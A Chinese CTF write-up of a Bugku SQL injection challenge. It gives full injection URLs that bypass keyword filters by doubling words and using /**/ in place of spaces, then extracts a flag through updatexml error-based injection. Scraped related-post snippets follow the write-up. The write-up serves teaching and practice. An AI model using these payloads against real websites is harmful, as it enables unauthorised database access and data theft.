Bugku的一道注入
继续补sqli的题
这道题与之前的题的区别是在第二部分中加了一道waf,所以需要特殊的手段来进行注入。
题目来源:http://123.206.87.240:9004/1ndex.php?id=1
第一部分
通过改变id值我们可以看页面内容的变化。5时提醒可以注入,6以后开始报error:


构造1:
http://123.206.87.240:9004/1ndex.php?id=1%27%20and%201=1%23报错
构造2:
http://123.206.87.240:9004/1ndex.php?id=1%27%20or%201=1%23报错
考虑是过滤了关键词,尝试使用双写绕过:
构造3:
http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=1%23
返回正常。

判断字段数:
http://123.206.87.240:9004/1ndex.php?id=1%27%20oorrder%20by%202%23
order by 2时返回正常,说明有两个字段。(注意过滤了or关键词,所以order写作oorrder)
判断回显点:
http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,2%23

查看当前数据库:
http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,database()%23

查询该库中所有表:
http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,(selselectect group_concat(table_name) from infoorrmation_schema.tables where table_schema=database())%23
(注意:information中or要双写:infoorrmation)

该库中有两个表,hint表中储存的就是我们改变id值看到的提示。查看flag1表中字段数:
http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,(selselectect group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1')%23

该表中有两个字段:flag1和address
查看flag1字段值:
http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,(selselectect group_concat(flag1) from flag1)%23

查看address值:
http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,(selselectect group_concat(address) from flag1)%23

进入下一关。
第二部分
第一关主要是union注入加上双写绕过,难度不大,这里就有难度了。

构造:
http://123.206.87.240:9004/Once_More.php?id=%27
返回值:
1 |
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1 |
确定注入点,加上双写绕过试试
构造:
http://123.206.87.240:9004/Once_More.php?id=1%27%20anandd%201=1%23
返回值:
1 |
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'anandd 1=1#'' at line 1 |
仍有过滤,尝试用//代替空格,不加双写:
构造:
`http://123.206.87.240:9004/Once_More.php?id=1%27//and//1=1%23返回正常:http://123.206.87.240:9004/Once_More.php?id=1%27//order//by//3%23

判断字段数:
构造:http://123.206.87.240:9004/Once_More.php?id=-1%27/**/union/**/select/**/1,2%23`
共有两个字段。
判断回显点:
报错:
1 |
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select/**/1,2#'' at line 1 |

GG,过滤了union。尝试大小写绕过,双写绕过,内联注释/*!*/绕过。然而统统GG。放弃union注入。
但是他有报错,我们可以利用这个特点。这里用updatexml函数报错的方法来注入。
构造:
http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23

当前表名为flag2。
构造:
http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20updatexml(1,concat(%27~%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27flag2%27),%27~%27),3)%20%23#

当前表中有两个字段:flag2和address。
查看flag2字段值:
构造:
http://123.206.87.240:9004/Once_More.php?id=?id=1%27%20and%20updatexml(1,concat(%27~%27,(select%20flag2%20from%20flag2),%27~%27),3)%20%23

得flag:flag{Bugku-sql_6s-2i-4t-bug}
另外这个题也是可以用盲注解决的。
updatexml
updatexml函数格式:UPDATEXML (XML_document, XPath_string, new_value);
1. 第一个参数:XML_document是String格式,为XML文档对象的名称。
2. 第二个参数:XPath_string (Xpath格式的字符串)
3. 第三个参数:new_value,String格式,替换查找到的符合条件的数据
4. 函数作用:改变文档中符合条件的节点的值
用该函数注入时需要结合concat()函数,因为concat连出来的字符串不符合XPath_String的格式,所以会报错。
Bugku的一道注入的更多相关文章
- bugku逗号过滤注入
URL:http://120.24.86.145:8002/web15/ 直接给出了源码: <?php error_reporting(0); function getIp(){ $ip = ' ...
- bugku的一道图片隐写
可以看到图片是不完整的就联想到其高宽问题.使用winhex打开 将高里面的01改成11 get flag{He1I0_d4_ba1}
- bugku的一道代码审计基础题:eval
首先看到 include "flag.php",第一反应就应该是文件包含 直接先?hello=file:////etc, 然后啥也没 那就再检查一下代码,eval(var_dump ...
- bugku的一道XFF转发代理服务器题 “本地服务器”
X-Forwarded-For requests包内构造方式: X-Forwarded-For: client1, proxy1, proxy2
- [CISCN2019 华北赛区 Day2 Web1]Hack World(二分法写布尔注入脚本)
记一道布尔注入的题,存在过滤字符. 从题目看应该是一道注入题.提示存在flag表flag列. 输入1和2的返回结果不一样,可能是布尔注入. 简单用万能密码尝试了一下.提示SQL Injection C ...
- i春秋-Phone number(union注入+hex转码)
记一道union注入语句转十六进制的注入题. 这个网站的基本功能就是可以找出跟你用户名相同的注册的人数. 注册登录给了两个显位. 点击check可以显示出有多少人和你用户名相同. 同时在这个页面的源代 ...
- [SniperOJ](web)图书管理系统 注入 源码泄露
0x00 题目概况 题目地址:http://www.sniperoj.cn:10000/ 这是一道注入题,存在git源码泄露,使用githack(freebuf有工具介绍)把源码脱下来,进行审计,然后 ...
- 对某道ctf的一点点记录
题目:http://ctf5.shiyanbar.com/web/pcat/index.php 是一道注入的题,主要利用了offset 和 group by with rollup的知识 1.offs ...
- 20165207 Exp9 Web安全基础
目录 20165207 Exp9 Web安全基础 一.实验过程 1.环境配置 2.代理工具burpsuite 2.1 Http proxies -> Use the intercept 3.sq ...
随机推荐
- CodeForces 1005D Polycarp and Div 3(思维、贪心、dp)
http://codeforces.com/problemset/problem/1005/D 题意: 给一个仅包含数字的字符串,将字符串分割成多个片段(无前导0),求这些片段里最多有多少是3的倍数 ...
- 关于tomcat启动错误:At least one JAR was scanned for TLDs yet contained no TLDs
一.问题原因: 1.出现这个问题的原因就是Tomcat启动时会扫描大量jar包,如果含有不符合TLD规范的就会出现这个问题 2.以后基本上不会使用JSP作为视图层,所以我们可能根本不需要TLD这个东西 ...
- 树莓派docker搭建
树莓派上 Docker 的安装和使用 Docker 是一个开源的应用容器引擎,可以让开发者打包他们的应用以及依赖包到一个轻量级.可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟 ...
- 1.Jenkins基本安装及插件离线安装
Jenkins基本安装 Jenkins官方地址:https://jenkins.io/zh/,下载最新版本,需要依赖对应的jdk版本才可以正常运行. dockerfile文件构建docker镜像 FR ...
- mysql之DTS的那些事
最近才考虑数据库迁移,想起了之前做DTS踩过的那些坑. 基于数据库迁移,比如从源A库迁移到源B库,包括但不限于数据库上云. 数据库迁移方案有两种场景: (1).停机迁移方案 这种方案是允许停服的场景, ...
- metinfo_5.3变量覆盖引发的一系列问题
metinfo_5.3中存在一个很经典的$$型变量覆盖,这种变量覆盖在之前的博客中提到过,今天的博客围绕这个变量覆盖漏洞结合这款CMS的其他功能进行漏洞利用. 变量覆盖+文件包含 拿到这个CMS首先还 ...
- 1051: [HAOI2006]受欢迎的牛 (tarjan强连通分量+缩点)
题目大意:CodeVs2822的简单版本 传送门 $Tarjan$强连通分量+缩点,若连通块的个数等于一则输出n:若缩点后图中出度为0的点个数为1,输出对应连通块内的点数:否则输出0: 代码中注释部分 ...
- python学习笔记(30)——ddt
1.ddt模块包含类的装饰器ddt和两个方法装饰器data ddt.ddt:装饰类,也就是继承TestCase的类. ddt.data:装饰测试方法,参数是一系列的值,用来传递参数 ddt.file_ ...
- Python 语言基础
Python 语言基础 Python 开发环境 计算机组成 编程语言(计算机语言)是人们为了控制计算机,而设计的一种符号和文字的组合,从而实现向计算机发出指令. 形式是符号和文字的组合 目的是为了控制 ...
- Shell遍历目前下后缀名为.xml的文件并替换文件内容
1.shell查找 .xml文件 find /home/esoon/test/external/ -type f -name '*.xml' 2.替换方法 sed -i "s/10.111. ...